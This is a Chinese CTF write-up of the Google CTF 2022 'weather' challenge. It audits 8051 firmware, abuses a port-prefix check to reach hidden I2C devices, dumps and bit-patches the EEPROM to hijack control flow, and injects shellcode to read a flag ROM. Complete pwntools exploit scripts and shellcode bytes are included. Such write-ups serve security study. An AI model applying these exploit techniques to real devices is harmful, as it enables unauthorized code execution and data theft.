本文是GoogleCTF2022 weather这道题的解题思路。题目提供了datasheet和firmware.c源码,按题意是需要读取8051片内ROM里的flag。先来看看原理图,主要有下列部件:1.一块带256bytes片内ROM的8051芯片2.I2C总线上连了5个传感器,分别是湿度、光线(2个)、气压、温度传感器3.I2C总线上还连了一个EEPROM,用作运行时的内存
本文是GoogleCTF2022 weather这道题的解题思路。题目提供了datasheet和firmware.c源码,按题意是需要读取8051片内ROM里的flag。
硬件架构
先来看看原理图,主要有下列部件:
1.一块带256bytes片内ROM的8051芯片
2.I2C总线上连了5个传感器,分别是湿度、光线(2个)、气压、温度传感器
3.I2C总线上还连了一个EEPROM,用作运行时的内存
传感器的port和数据格式
源码审计
nc上题目环境,随意输入几个命令都是无效的,需要审一下firmware.c
定义了ROM、串口、I2C等的特殊功能寄存器地址
// Secret ROM controller.
__sfr __at(0xee) FLAGROM_ADDR;
__sfr __at(0xef) FLAGROM_DATA;
// Serial controller.
__sfr __at(0xf2) SERIAL_OUT_DATA;
__sfr __at(0xf3) SERIAL_OUT_READY;
__sfr __at(0xfa) SERIAL_IN_DATA;
__sfr __at(0xfb) SERIAL_IN_READY;
// I2C DMA controller.
__sfr __at(0xe1) I2C_STATUS;
__sfr __at(0xe2) I2C_BUFFER_XRAM_LOW;
__sfr __at(0xe3) I2C_BUFFER_XRAM_HIGH;
__sfr __at(0xe4) I2C_BUFFER_SIZE;
__sfr __at(0xe6) I2C_ADDRESS; // 7-bit address
__sfr __at(0xe7) I2C_READ_WRITE;
// Power controller.
__sfr __at(0xff) POWEROFF;
__sfr __at(0xfe) POWERSAVE;
main函数,通过串口接收read、write命令,可对port进行读写
#define CMD_BUF_SZ 384
#define I2C_BUF_SZ 128
int main(void) {
serial_print("Weather Station\n");
static __xdata char cmd[CMD_BUF_SZ];
static __xdata uint8_t i2c_buf[I2C_BUF_SZ];
while (true) {
serial_print("? ");
int i;
for (i = 0; i < CMD_BUF_SZ; i++) {
char ch = serial_read_char();
if (ch == '\n') {
cmd[i] = '\0';
break;
}
cmd[i] = ch;
}
if (i == CMD_BUF_SZ) {
serial_print("-err: command too long, rejected\n");
continue;
}
struct tokenizer_st t;
tokenizer_init(&t, cmd);
char *p = tokenizer_next(&t);
if (p == NULL) {
serial_print("-err: command format incorrect\n");
continue;
}
bool write;
if (*p == 'r') {
write = false;
} else if (*p == 'w') {
write = true;
} else {
serial_print("-err: unknown command\n");
continue;
}
p = tokenizer_next(&t);
if (p == NULL) {
serial_print("-err: command format incorrect\n");
continue;
}
int8_t port = port_to_int8(p);
if (port == -1) {
serial_print("-err: port invalid or not allowed\n");
continue;
}
p = tokenizer_next(&t);
if (p == NULL) {
serial_print("-err: command format incorrect\n");
continue;
}
uint8_t req_len = str_to_uint8(p);
if (req_len == 0 || req_len > I2C_BUF_SZ) {
serial_print("-err: I2C request length incorrect\n");
continue;
}
if (write) {
for (uint8_t i = 0; i < req_len; i++) {
p = tokenizer_next(&t);
if (p == NULL) {
break;
}
i2c_buf[i] = str_to_uint8(p);
}
int8_t ret = i2c_write(port, req_len, i2c_buf);
serial_print(i2c_status_to_error(ret));
} else {
int8_t ret = i2c_read(port, req_len, i2c_buf);
serial_print(i2c_status_to_error(ret));
for (uint8_t i = 0; i < req_len; i++) {
char num[4];
uint8_to_str(num, i2c_buf[i]);
serial_print(num);
if ((i + 1) % 16 == 0 && i +1 != req_len) {
serial_print("\n");
} else {
serial_print(" ");
}
}
serial_print("\n-end\n");
}
}
// Should never reach this place.
}
读操作,r [allowded port] [length]
写操作,w [allowed port] [length] [int8] [int8] [int8]...
,但传感器不允许写
这里只能读写指定的5个传感器的port,读以外的port会被认定为-err: port invalid or not allowed
。这里存在两个问题:
1.is_port_allowed
只会比较port的前三个字节是否相同
2.str_to_uint8
这个过程是mod 256
的
结合两点就有一个port任意读写的洞,即101120+p等同于p号端口
const char *ALLOWED_I2C[] = {
"101", // Thermometers (4x).
"108", // Atmospheric pressure sensor.
"110", // Light sensor A.
"111", // Light sensor B.
"119", // Humidity sensor.
NULL
};
uint8_t str_to_uint8(const char *s) {
uint8_t v = 0;
while (*s) {
uint8_t digit = *s++ - '0';
if (digit >= 10) {
return 0;
}
v = v * 10 + digit;
}
return v;
}
bool is_port_allowed(const char *port) {
for(const char **allowed = ALLOWED_I2C; *allowed; allowed++) {
const char *pa = *allowed;
const char *pb = port;
bool allowed = true;
while (*pa && *pb) {
if (*pa++ != *pb++) {
allowed = false;
break;
}
}
if (allowed && *pa == '\0') {
return true;
}
}
return false;
}
int8_t port_to_int8(char *port) {
if (!is_port_allowed(port)) {
return -1;
}
return (int8_t)str_to_uint8(port);
}
端口任意读写
7bit的i2c地址,只需从101120+0
到101120+127
读一遍即可
发现只有33、101、108、110、111、119端口存在,而且除33号端口以外都是传感器,因此可断定33号为EEPROM端口
<33>
r 101153 16
i2c status: transaction completed / ready
2 0 6 2 4 228 117 129 48 18 8 134 229 130 96 3
-end
?<101>
r 101221 16
i2c status: transaction completed / ready
22 22 21 35 0 0 0 0 0 0 0 0 0 0 0 0
-end
?<108>
r 101228 16
i2c status: transaction completed / ready
3 249 0 0 0 0 0 0 0 0 0 0 0 0 0 0
-end
?<110>
r 101230 16
i2c status: transaction completed / ready
78 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
-end
?<111>
r 101231 16
i2c status: transaction completed / ready
81 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
-end
?<119>
r 101239 16
i2c status: transaction completed / ready
37 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
-end
读取EEPROM
读33端口,发现仅有64bytes的数据
datasheet提到EEPROM 4种不同的内存组织形式,按原理图应是用的CTF-55930D,也就是33号端口的EEPROM有64页,每页有64字节
同时,datasheet给出了切换页的方法,通过写入pageIndex以及0xa5 0x5a 0xa5 0x5a
这4字节。如需要切换至第3页,写入命令为w 101153 5 3 165 90 165 90
通过此方法,可以将整个EEPROM都dump下来
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
#context.log_level = 'debug'
context.arch = 'amd64'
HOST = 'weather.2022.ctfcompetition.com'
PORT = 1337
tube.s = tube.send
tube.sl = tube.sendline
tube.sa = tube.sendafter
tube.sla = tube.sendlineafter
tube.r = tube.recv
tube.ru = tube.recvuntil
tube.rl = tube.recvline
tube.ra = tube.recvall
tube.rr = tube.recvregex
tube.irt = tube.interactive
p = remote(HOST, PORT)
def pwn():
info("pwnit!")
f = open('dump', 'wb')
for i in range(64):
print(str(i))
p.sla('? ', 'w 101153 5 '+ str(i) +' 165 90 165 90')
p.sla('? ', 'r 101153 64')
p.ru('ready\n')
for j in range(4):
bys = []
for k in range(15):
byte = int(p.ru(' ').strip(' '))
bys.append(byte)
byte = int(p.ru('\n').strip('\n'))
bys.append(byte)
arr = bytearray(bys)
b_arr = bytes(arr)
f.write(b_arr)
f.close()
p.irt()
if __name__ == "__main__":
pwn()
dump下来以后,可以初步判定是8051的固件
8051固件逆向
通过字符串、查找立即数0x8c7
定位到serial_print
函数代码
从0x10e
到0x114
这块便是输出i2c status: error - device not found
的代码
先测试一下,改动EEPROM内的数据是否能影响到运行着的程序。datasheet中给出了通过clearmask方式向EEPROM写入数据的方法,即可以将EEPROM某1bit的数据从1置0,但不能反过来0置1。如0xc7
可以改为0xc0
,但不能改为0xb5
>>> bin(0xc7)
'0b11000111'
>>> bin(0xc0)
'0b11000000'
>>> bin(0xb5)
'0b10110101'
通过设置对应bit的clearmask即可
当我们读一个不存在的端口,会输出i2c status: error - device not found
,现修改0x8C7
为0x8C0
则会输出busy
,0x10e位于第4页,而0xc7
位于第4页第16个字节(第0个字节开始算),在该字节写入0xf
即可将低4位置0。0到15字节不作修改,都写入0。
劫持控制流
上述结果显示,修改EEPROM的数据会影响到正在运行的固件,只需要在代码必经之处放一条jmp指令跳到shellcode处执行即可。由于,clearmask只能从1置0,需要寻找一处合适的跳转地址。比较幸运,我们找到0xFA
这个可用地址,ljmp指令需要用到3个字节\x02
+固件地址。在固件的最后部分有一大片255的数据,就在该区域写入shellcode。
将\x13\xbf\x03
修改为\x02\x0a\x03
即可劫持控制流跳转到0xa03
处执行代码
先在shellcode处部署一段简易代码,如打印出i2c status: error - device misbehaved
90 08 EDmov DPTR, #0x8ED
75 F0 80mov B, #0x80
控制流便被劫持到shellcode了,需要注意在shellcode的末尾需要部署一个ljmp跳回到0x114,否则会crash
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
#context.log_level = 'debug'
context.arch = 'amd64'
HOST = 'weather.2022.ctfcompetition.com'
PORT = 1337
gdbscript = '''
'''
tube.s = tube.send
tube.sl = tube.sendline
tube.sa = tube.sendafter
tube.sla = tube.sendlineafter
tube.r = tube.recv
tube.ru = tube.recvuntil
tube.rl = tube.recvline
tube.ra = tube.recvall
tube.rr = tube.recvregex
tube.irt = tube.interactive
p = remote(HOST, PORT)
def pwn():
info("pwnit!")
p.sla('? ', 'w 101153 5 3 165 90 165 90')
p.sla('? ', 'r 101153 64')
pause()
p.sla('? ', 'w 101153 65 3 165 90 165 90 '+'0 '*0x39 + '255 17 181')
#'w 101153 65 3 165 90 165 90 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 255 17 181'
#p.sla('? ', 'r 101153 64')
pause()
l = [0x90, 0x8, 0xed, 0x75, 0xf0, 0x80, 0x2, 0x1,0x14]
pl = ''
for i in range(len(l)):
pl += ' '
pl += str(l[i] ^ 255)
p.sla('? ', 'w 101153 '+str(len(l)+8)+' 40 165 90 165 90 0 0 255'+pl)
p.sla('? ', 'r 101168 64')
p.irt()
if __name__ == "__main__":
pwn()
读取FlagROM
datasheet给出了读取方式,将FLAGROM_ADDR
分别设置0~255
,然后将FLAGROM_DATA
传给SERIAL_OUT_DATA
便可输出flag
读FlagROM的c代码,用sdcc编译sdcc -mmcs51 --iram-size 128 --xram-size 0 --code-size 4096 --nooverlay --noinduction --verbose --debug -V --std-sdcc89 --model-small usercode.c
#include
#include
__sfr __at(0xee) FLAGROM_ADDR;
__sfr __at(0xef) FLAGROM_DATA;
/* Serial controller.*/
__sfr __at(0xf2) SERIAL_OUT_DATA;
__sfr __at(0xf3) SERIAL_OUT_READY;
__sfr __at(0xfa) SERIAL_IN_DATA;
__sfr __at(0xfb) SERIAL_IN_READY;
void serial_print(const char *s) {
while (*s) {
while (!SERIAL_OUT_READY) {
/* Busy wait...*/
}
SERIAL_OUT_DATA = *s++;
}
}
int main(void) {
/*serial_print("Weather Station\n");*/
FLAGROM_ADDR = 0;
while(FLAGROM_DATA){
while (!SERIAL_OUT_READY) {
/* Busy wait...*/
}
SERIAL_OUT_DATA = FLAGROM_DATA;
FLAGROM_ADDR = FLAGROM_ADDR + 1;
}
return 0;
}
将main函数的机器码抠出来
完整的exp
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
#context.log_level = 'debug'
context.arch = 'amd64'
HOST = 'weather.2022.ctfcompetition.com'
PORT = 1337
tube.s = tube.send
tube.sl = tube.sendline
tube.sa = tube.sendafter
tube.sla = tube.sendlineafter
tube.r = tube.recv
tube.ru = tube.recvuntil
tube.rl = tube.recvline
tube.ra = tube.recvall
tube.rr = tube.recvregex
tube.irt = tube.interactive
p = remote(HOST, PORT)
def pwn():
info("pwnit!")
p.sla('? ', 'w 101153 5 3 165 90 165 90')
p.sla('? ', 'r 101153 64')
pause()
p.sla('? ', 'w 101153 65 3 165 90 165 90 '+'0 '*0x39 + '255 17 181')
#'w 101153 65 3 165 90 165 90 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 255 17 181'
#p.sla('? ', 'r 101153 64')
pause()
#l = [0x90, 0x8, 0xed, 0x75, 0xf0, 0x80, 0x2, 0x1,0x14]
#l = [0x75,0xee,15, 0xe5,0xef, 0x60,0x09, 0xe5,0xf3, 0x60,0xfc, 0x85,0xef,0xf2, 0x80,0xf3, 0x90, 0, 0, 0x2,0x1,0x14]
l = [0x75, 0xEE, 0x00, 0xE5, 0xEF, 0x60, 0x0F, 0xE5, 0xF3, 0x60, 0xFC, 0x85, 0xEF, 0xF2, 0xE5, 0xEE, 0xFF, 0x04, 0xF5, 0xEE, 0x80, 0xED, 0x90, 0x00, 0x00, 0x02, 0x1, 0x14]
pl = ''
for i in range(len(l)):
pl += ' '
pl += str(l[i] ^ 255)
p.sla('? ', 'w 101153 '+str(len(l)+8)+' 40 165 90 165 90 0 0 255'+pl)
p.sla('? ', 'r 101168 64')
p.irt()
if __name__ == "__main__":
pwn()
- 本文作者: sung3r
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1740
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!